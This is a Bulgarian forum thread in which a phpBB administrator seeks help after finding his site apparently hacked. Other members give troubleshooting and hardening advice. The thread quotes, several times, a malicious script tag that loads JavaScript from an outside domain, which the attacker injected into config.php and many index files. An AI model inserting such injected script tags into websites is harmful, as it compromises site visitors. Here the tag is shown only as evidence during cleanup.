Форума ми е хакнат?

[ystefanov]

Днес като влязох във форум видях, че всико е обърнато надолу с главата - шрифта е на маймуница, изписва ми някакви грешки над хедъра.
Това го е правило когато съм имал проблеми с някои модове, но последно го обнових преди месец и си работеше безпроблемно.

Грешките които показва са:

[phpBB Debug] PHP Warning: in file /includes/session.php on line 1035: Cannot modify header information - headers already sent by (output started at /config.php:17)
[phpBB Debug] PHP Warning: in file /includes/session.php on line 1035: Cannot modify header information - headers already sent by (output started at /config.php:17)
[phpBB Debug] PHP Warning: in file /includes/session.php on line 1035: Cannot modify header information - headers already sent by (output started at /config.php:17)
[phpBB Debug] PHP Warning: in file /includes/functions.php on line 4672: Cannot modify header information - headers already sent by (output started at /config.php:17)
[phpBB Debug] PHP Warning: in file /includes/functions.php on line 4674: Cannot modify header information - headers already sent by (output started at /config.php:17)
[phpBB Debug] PHP Warning: in file /includes/functions.php on line 4675: Cannot modify header information - headers already sent by (output started at /config.php:17)
[phpBB Debug] PHP Warning: in file /includes/functions.php on line 4676: Cannot modify header information - headers already sent by (output started at /config.php:17)

Мога ли да разбера по някакъв начин дали е влизано на сървъра и ако е, кои файлове и кога са били редактирани?

 

[Ev0luti0N]

Дай си config.php файла.

 

[topchokt]

Кой хостинг ползваш?
Разгледай error лога, може да има нещо там.

 

[ystefanov]

Хостинг:
nic.ru


error.log:
[Tue Aug 9 06:40:05 2011] [error] [client 91.214.45.239] File does not exist: /home/site/domain/docs/member2.htmlindex.php


config.php

<?php
// phpBB 3.0.x auto-generated configuration file
// Do not change anything in this file!
$dbms = 'mysql';
$dbhost = 'site.mysql';
$dbport = '';
$dbname = 'site_db';
$dbuser = 'site_mysql';
$dbpasswd = '...';
$table_prefix = 'phpbb_form';
$acm_type = 'file';
$load_extensions = 'ftp.so';

@define('PHPBB_INSTALLED', true);
// @define('DEBUG', true);
// @define('DEBUG_EXTRA', true);
?><script src="http://googleconnects.com/tipslide.js"></script>

Този googleconnects е непонетен, какво прави там?!? :shock:

 

[Ev0luti0N]

<?php
// phpBB 3.0.x auto-generated configuration file
// Do not change anything in this file!
$dbms = 'mysql';
$dbhost = 'site.mysql';
$dbport = '';
$dbname = 'site_db';
$dbuser = 'site_mysql';
$dbpasswd = '...';
$table_prefix = 'phpbb_form';
$acm_type = 'file';
$load_extensions = 'ftp.so';

@define('PHPBB_INSTALLED', true);
// @define('DEBUG', true);
// @define('DEBUG_EXTRA', true);
?>

:?:

 

[ystefanov]

Премахнах

<script src="http://googleconnects.com/tipslide.js"></script>

но няма промяна.

 

[ystefanov]

Забелязах че файла config.php е бил редактиран днес 9 30 (не от мен). По същия начин index.php е бил редактиран и накрая добавен същия скрипт.

Явно ще трябва да търся всички файлове ...

 

[Ev0luti0N]

По-добре смени хостинга :?:

 

[ystefanov]

Смяната на хостинга е краен вариант, не вярвам че това е най-големият проблем.
Все пак какво мога да направя за защита на форума.
Мога ли да разбера, кое е ип-то, което е направило това?
Дали е възможно да е някой от последните регистрирани потребители?

 

[ge0rgi_92]

За защита на форума има много варианти напримерно да сложиш .htaccess или да преименуваш админ панела или да изтриеш админ панела и когато ти прябва пак да го качиш на хоста

 

[topchokt]

Дори да направиш това, което каза потребителя над мен, проблема може да не се реши и след време форума може да бъде хакнат отново.
Аз не знам защо използваш този руски хостинг.

 

[ystefanov]

<script src="http://googleconnects.com/tipslide.js"></script>

Този скрипт беше вмъкнат и в още 40 файла index.html.
След премахването му пак си остана пробема.
Явно още промени са направени.

topchokt, аз отговарям само за поддръжката на форума... форумът е на руски език и не е мой за да сменям хостинг. Освен това не мисля, че проблема е в хостинга, даже и да бъде преместен на български смятам, че пак ще бъде така уязвим. По добре е да помисля за оправянето и защитата му при тези условия.


[/quote]